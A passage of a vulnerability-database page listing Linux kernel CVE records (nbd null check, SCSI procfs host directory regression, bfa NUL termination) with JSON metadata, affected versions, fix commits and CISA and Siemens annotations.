          "url": "https://git.kernel.org/stable/c/35bcf16b4a28c10923ff391d14f6ed0ae471ee5f"
        },
        {
          "url": "https://git.kernel.org/stable/c/510a6c0dfa6ec61d07a4b64698d8dc60045bd632"
        },
        {
          "url": "https://git.kernel.org/stable/c/799d4b392417ed6889030a5b2335ccb6dcf030ab"
        }
      ],
      "title": "drm/exynos: hdmi: report safe 640x480 mode as a fallback when no EDID found",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40916",
    "datePublished": "2024-07-12T12:24:59.429Z",
    "dateReserved": "2024-07-12T12:17:45.581Z",
    "dateUpdated": "2026-05-12T11:55:41.547Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27025 (GCVE-0-2024-27025)

Vulnerability from cvelistv5 – Published: 2024-05-01 12:49 – Updated: 2026-05-12 11:51

Title

nbd: null check for nla_nest_start

Summary

In the Linux kernel, the following vulnerability has been resolved: nbd: null check for nla_nest_start nla_nest_start() may fail and return NULL. Insert a check and set errno based on other call sites within the same source code.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/44214d744be32a476…
https://git.kernel.org/stable/c/4af837db0fd3679fa…
https://git.kernel.org/stable/c/98e60b538e66c90b9…
https://git.kernel.org/stable/c/96436365e5d80d010…
https://git.kernel.org/stable/c/b7f5aed55829f376e…
https://git.kernel.org/stable/c/e803040b368d04643…
https://git.kernel.org/stable/c/ba6a9970ce9e284cb…
https://git.kernel.org/stable/c/31edf4bbe0ba27fd0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 47d902b90a32a42a3d33aef3a02170fc6f70aa23 , < 44214d744be32a4769faebba764510888f1eb19e (git) Affected: 47d902b90a32a42a3d33aef3a02170fc6f70aa23 , < 4af837db0fd3679fabc7b7758397090b0c06dced (git) Affected: 47d902b90a32a42a3d33aef3a02170fc6f70aa23 , < 98e60b538e66c90b9a856828c71d4e975ebfa797 (git) Affected: 47d902b90a32a42a3d33aef3a02170fc6f70aa23 , < 96436365e5d80d0106ea785a4f80a58e7c9edff8 (git) Affected: 47d902b90a32a42a3d33aef3a02170fc6f70aa23 , < b7f5aed55829f376e4f7e5ea5b80ccdcb023e983 (git) Affected: 47d902b90a32a42a3d33aef3a02170fc6f70aa23 , < e803040b368d046434fbc8a91945c690332c4fcf (git) Affected: 47d902b90a32a42a3d33aef3a02170fc6f70aa23 , < ba6a9970ce9e284cbc04099361c58731e308596a (git) Affected: 47d902b90a32a42a3d33aef3a02170fc6f70aa23 , < 31edf4bbe0ba27fd03ac7d87eb2ee3d2a231af6d (git)
Linux	Linux	Affected: 4.12 Unaffected: 0 , < 4.12 (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27025",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T17:40:20.868698Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T17:45:55.898Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.917Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/44214d744be32a4769faebba764510888f1eb19e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4af837db0fd3679fabc7b7758397090b0c06dced"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98e60b538e66c90b9a856828c71d4e975ebfa797"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/96436365e5d80d0106ea785a4f80a58e7c9edff8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b7f5aed55829f376e4f7e5ea5b80ccdcb023e983"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e803040b368d046434fbc8a91945c690332c4fcf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ba6a9970ce9e284cbc04099361c58731e308596a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/31edf4bbe0ba27fd03ac7d87eb2ee3d2a231af6d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:14.536Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/block/nbd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "44214d744be32a4769faebba764510888f1eb19e",
              "status": "affected",
              "version": "47d902b90a32a42a3d33aef3a02170fc6f70aa23",
              "versionType": "git"
            },
            {
              "lessThan": "4af837db0fd3679fabc7b7758397090b0c06dced",
              "status": "affected",
              "version": "47d902b90a32a42a3d33aef3a02170fc6f70aa23",
              "versionType": "git"
            },
            {
              "lessThan": "98e60b538e66c90b9a856828c71d4e975ebfa797",
              "status": "affected",
              "version": "47d902b90a32a42a3d33aef3a02170fc6f70aa23",
              "versionType": "git"
            },
            {
              "lessThan": "96436365e5d80d0106ea785a4f80a58e7c9edff8",
              "status": "affected",
              "version": "47d902b90a32a42a3d33aef3a02170fc6f70aa23",
              "versionType": "git"
            },
            {
              "lessThan": "b7f5aed55829f376e4f7e5ea5b80ccdcb023e983",
              "status": "affected",
              "version": "47d902b90a32a42a3d33aef3a02170fc6f70aa23",
              "versionType": "git"
            },
            {
              "lessThan": "e803040b368d046434fbc8a91945c690332c4fcf",
              "status": "affected",
              "version": "47d902b90a32a42a3d33aef3a02170fc6f70aa23",
              "versionType": "git"
            },
            {
              "lessThan": "ba6a9970ce9e284cbc04099361c58731e308596a",
              "status": "affected",
              "version": "47d902b90a32a42a3d33aef3a02170fc6f70aa23",
              "versionType": "git"
            },
            {
              "lessThan": "31edf4bbe0ba27fd03ac7d87eb2ee3d2a231af6d",
              "status": "affected",
              "version": "47d902b90a32a42a3d33aef3a02170fc6f70aa23",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/block/nbd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.12"
            },
            {
              "lessThan": "4.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnbd: null check for nla_nest_start\n\nnla_nest_start() may fail and return NULL. Insert a check and set errno\nbased on other call sites within the same source code."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:08:57.609Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/44214d744be32a4769faebba764510888f1eb19e"
        },
        {
          "url": "https://git.kernel.org/stable/c/4af837db0fd3679fabc7b7758397090b0c06dced"
        },
        {
          "url": "https://git.kernel.org/stable/c/98e60b538e66c90b9a856828c71d4e975ebfa797"
        },
        {
          "url": "https://git.kernel.org/stable/c/96436365e5d80d0106ea785a4f80a58e7c9edff8"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7f5aed55829f376e4f7e5ea5b80ccdcb023e983"
        },
        {
          "url": "https://git.kernel.org/stable/c/e803040b368d046434fbc8a91945c690332c4fcf"
        },
        {
          "url": "https://git.kernel.org/stable/c/ba6a9970ce9e284cbc04099361c58731e308596a"
        },
        {
          "url": "https://git.kernel.org/stable/c/31edf4bbe0ba27fd03ac7d87eb2ee3d2a231af6d"
        }
      ],
      "title": "nbd: null check for nla_nest_start",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27025",
    "datePublished": "2024-05-01T12:49:28.124Z",
    "dateReserved": "2024-02-19T14:20:24.210Z",
    "dateUpdated": "2026-05-12T11:51:14.536Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26935 (GCVE-0-2024-26935)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:17 – Updated: 2026-05-12 11:50

Title

scsi: core: Fix unremoved procfs host directory regression

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: core: Fix unremoved procfs host directory regression Commit fc663711b944 ("scsi: core: Remove the /proc/scsi/${proc_name} directory earlier") fixed a bug related to modules loading/unloading, by adding a call to scsi_proc_hostdir_rm() on scsi_remove_host(). But that led to a potential duplicate call to the hostdir_rm() routine, since it's also called from scsi_host_dev_release(). That triggered a regression report, which was then fixed by commit be03df3d4bfe ("scsi: core: Fix a procfs host directory removal regression"). The fix just dropped the hostdir_rm() call from dev_release(). But it happens that this proc directory is created on scsi_host_alloc(), and that function "pairs" with scsi_host_dev_release(), while scsi_remove_host() pairs with scsi_add_host(). In other words, it seems the reason for removing the proc directory on dev_release() was meant to cover cases in which a SCSI host structure was allocated, but the call to scsi_add_host() didn't happen. And that pattern happens to exist in some error paths, for example. Syzkaller causes that by using USB raw gadget device, error'ing on usb-storage driver, at usb_stor_probe2(). By checking that path, we can see that the BadDevice label leads to a scsi_host_put() after a SCSI host allocation, but there's no call to scsi_add_host() in such path. That leads to messages like this in dmesg (and a leak of the SCSI host proc structure): usb-storage 4-1:87.51: USB Mass Storage device detected proc_dir_entry 'scsi/usb-storage' already registered WARNING: CPU: 1 PID: 3519 at fs/proc/generic.c:377 proc_register+0x347/0x4e0 fs/proc/generic.c:376 The proper fix seems to still call scsi_proc_hostdir_rm() on dev_release(), but guard that with the state check for SHOST_CREATED; there is even a comment in scsi_host_dev_release() detailing that: such conditional is meant for cases where the SCSI host was allocated but there was no calls to {add,remove}_host(), like the usb-storage case. This is what we propose here and with that, the error path of usb-storage does not trigger the warning anymore.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/0053f15d50d50c931…
https://git.kernel.org/stable/c/5c2386ba80e779a92…
https://git.kernel.org/stable/c/cea234bb214b17d00…
https://git.kernel.org/stable/c/3678cf67ff7136db1…
https://git.kernel.org/stable/c/d4c34782b6d7b1e68…
https://git.kernel.org/stable/c/e293c773c13b830cd…
https://git.kernel.org/stable/c/f4ff08fab66eb5c0b…
https://git.kernel.org/stable/c/f23a4d6e07570826f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 88c3d3bb6469cea929ac68fd326bdcbefcdfdd83 , < 0053f15d50d50c9312d8ab9c11e2e405812dfcac (git) Affected: 68c665bb185037e7eb66fb792c61da9d7151e99c , < 5c2386ba80e779a92ec3bb64ccadbedd88f779b1 (git) Affected: 2a764d55e938743efa7c2cba7305633bcf227f09 , < cea234bb214b17d004dfdccce4491e6ff57c96ee (git) Affected: 7e0ae8667fcdd99d1756922e1140cac75f5fa279 , < 3678cf67ff7136db1dd3bf63c361650db5d92889 (git) Affected: be03df3d4bfe7e8866d4aa43d62e648ffe884f5f , < d4c34782b6d7b1e68d18d9549451b19433bd4c6c (git) Affected: be03df3d4bfe7e8866d4aa43d62e648ffe884f5f , < e293c773c13b830cdc251f155df2254981abc320 (git) Affected: be03df3d4bfe7e8866d4aa43d62e648ffe884f5f , < f4ff08fab66eb5c0b97e1a24edac052fb40bf5d7 (git) Affected: be03df3d4bfe7e8866d4aa43d62e648ffe884f5f , < f23a4d6e07570826fe95023ca1aa96a011fa9f84 (git) Affected: 73f030d4ef6d1ad17f824a0a2eb637ef7a9c7d51 (git)
Linux	Linux	Affected: 6.3 Unaffected: 0 , < 6.3 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26935",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T14:41:52.902192Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T14:42:04.057Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.717Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0053f15d50d50c9312d8ab9c11e2e405812dfcac"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5c2386ba80e779a92ec3bb64ccadbedd88f779b1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cea234bb214b17d004dfdccce4491e6ff57c96ee"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3678cf67ff7136db1dd3bf63c361650db5d92889"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d4c34782b6d7b1e68d18d9549451b19433bd4c6c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e293c773c13b830cdc251f155df2254981abc320"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f4ff08fab66eb5c0b97e1a24edac052fb40bf5d7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f23a4d6e07570826fe95023ca1aa96a011fa9f84"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:44.058Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/hosts.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0053f15d50d50c9312d8ab9c11e2e405812dfcac",
              "status": "affected",
              "version": "88c3d3bb6469cea929ac68fd326bdcbefcdfdd83",
              "versionType": "git"
            },
            {
              "lessThan": "5c2386ba80e779a92ec3bb64ccadbedd88f779b1",
              "status": "affected",
              "version": "68c665bb185037e7eb66fb792c61da9d7151e99c",
              "versionType": "git"
            },
            {
              "lessThan": "cea234bb214b17d004dfdccce4491e6ff57c96ee",
              "status": "affected",
              "version": "2a764d55e938743efa7c2cba7305633bcf227f09",
              "versionType": "git"
            },
            {
              "lessThan": "3678cf67ff7136db1dd3bf63c361650db5d92889",
              "status": "affected",
              "version": "7e0ae8667fcdd99d1756922e1140cac75f5fa279",
              "versionType": "git"
            },
            {
              "lessThan": "d4c34782b6d7b1e68d18d9549451b19433bd4c6c",
              "status": "affected",
              "version": "be03df3d4bfe7e8866d4aa43d62e648ffe884f5f",
              "versionType": "git"
            },
            {
              "lessThan": "e293c773c13b830cdc251f155df2254981abc320",
              "status": "affected",
              "version": "be03df3d4bfe7e8866d4aa43d62e648ffe884f5f",
              "versionType": "git"
            },
            {
              "lessThan": "f4ff08fab66eb5c0b97e1a24edac052fb40bf5d7",
              "status": "affected",
              "version": "be03df3d4bfe7e8866d4aa43d62e648ffe884f5f",
              "versionType": "git"
            },
            {
              "lessThan": "f23a4d6e07570826fe95023ca1aa96a011fa9f84",
              "status": "affected",
              "version": "be03df3d4bfe7e8866d4aa43d62e648ffe884f5f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "73f030d4ef6d1ad17f824a0a2eb637ef7a9c7d51",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/hosts.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.3"
            },
            {
              "lessThan": "6.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.238",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.176",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.15.104",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "6.1.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.2.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: core: Fix unremoved procfs host directory regression\n\nCommit fc663711b944 (\"scsi: core: Remove the /proc/scsi/${proc_name}\ndirectory earlier\") fixed a bug related to modules loading/unloading, by\nadding a call to scsi_proc_hostdir_rm() on scsi_remove_host(). But that led\nto a potential duplicate call to the hostdir_rm() routine, since it\u0027s also\ncalled from scsi_host_dev_release(). That triggered a regression report,\nwhich was then fixed by commit be03df3d4bfe (\"scsi: core: Fix a procfs host\ndirectory removal regression\"). The fix just dropped the hostdir_rm() call\nfrom dev_release().\n\nBut it happens that this proc directory is created on scsi_host_alloc(),\nand that function \"pairs\" with scsi_host_dev_release(), while\nscsi_remove_host() pairs with scsi_add_host(). In other words, it seems the\nreason for removing the proc directory on dev_release() was meant to cover\ncases in which a SCSI host structure was allocated, but the call to\nscsi_add_host() didn\u0027t happen. And that pattern happens to exist in some\nerror paths, for example.\n\nSyzkaller causes that by using USB raw gadget device, error\u0027ing on\nusb-storage driver, at usb_stor_probe2(). By checking that path, we can see\nthat the BadDevice label leads to a scsi_host_put() after a SCSI host\nallocation, but there\u0027s no call to scsi_add_host() in such path. That leads\nto messages like this in dmesg (and a leak of the SCSI host proc\nstructure):\n\nusb-storage 4-1:87.51: USB Mass Storage device detected\nproc_dir_entry \u0027scsi/usb-storage\u0027 already registered\nWARNING: CPU: 1 PID: 3519 at fs/proc/generic.c:377 proc_register+0x347/0x4e0 fs/proc/generic.c:376\n\nThe proper fix seems to still call scsi_proc_hostdir_rm() on dev_release(),\nbut guard that with the state check for SHOST_CREATED; there is even a\ncomment in scsi_host_dev_release() detailing that: such conditional is\nmeant for cases where the SCSI host was allocated but there was no calls to\n{add,remove}_host(), like the usb-storage case.\n\nThis is what we propose here and with that, the error path of usb-storage\ndoes not trigger the warning anymore."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:13.385Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0053f15d50d50c9312d8ab9c11e2e405812dfcac"
        },
        {
          "url": "https://git.kernel.org/stable/c/5c2386ba80e779a92ec3bb64ccadbedd88f779b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/cea234bb214b17d004dfdccce4491e6ff57c96ee"
        },
        {
          "url": "https://git.kernel.org/stable/c/3678cf67ff7136db1dd3bf63c361650db5d92889"
        },
        {
          "url": "https://git.kernel.org/stable/c/d4c34782b6d7b1e68d18d9549451b19433bd4c6c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e293c773c13b830cdc251f155df2254981abc320"
        },
        {
          "url": "https://git.kernel.org/stable/c/f4ff08fab66eb5c0b97e1a24edac052fb40bf5d7"
        },
        {
          "url": "https://git.kernel.org/stable/c/f23a4d6e07570826fe95023ca1aa96a011fa9f84"
        }
      ],
      "title": "scsi: core: Fix unremoved procfs host directory regression",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26935",
    "datePublished": "2024-05-01T05:17:31.445Z",
    "dateReserved": "2024-02-19T14:20:24.196Z",
    "dateUpdated": "2026-05-12T11:50:44.058Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38560 (GCVE-0-2024-38560)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:35 – Updated: 2026-05-12 11:54

Title

scsi: bfa: Ensure the copied buf is NUL terminated

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Ensure the copied buf is NUL terminated Currently, we allocate a nbytes-sized kernel buffer and copy nbytes from userspace to that buffer. Later, we use sscanf on this buffer but we don't ensure that the string is terminated inside the buffer, this can lead to OOB read when using sscanf. Fix this issue by using memdup_user_nul instead of memdup_user.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/481fc0c8617304a67…
https://git.kernel.org/stable/c/595a6b98deec01b6d…
https://git.kernel.org/stable/c/00b425ff089128320…
https://git.kernel.org/stable/c/1708e3cf2488788cb…
https://git.kernel.org/stable/c/7d3e694c4fe30f3ab…
https://git.kernel.org/stable/c/204714e68015d6946…
https://git.kernel.org/stable/c/7510fab46b1cbd168…
https://git.kernel.org/stable/c/ecb76200f5557a288…
https://git.kernel.org/stable/c/13d0cecb4626fae67…

Impacted products

2 products

Vendor	Product	Version
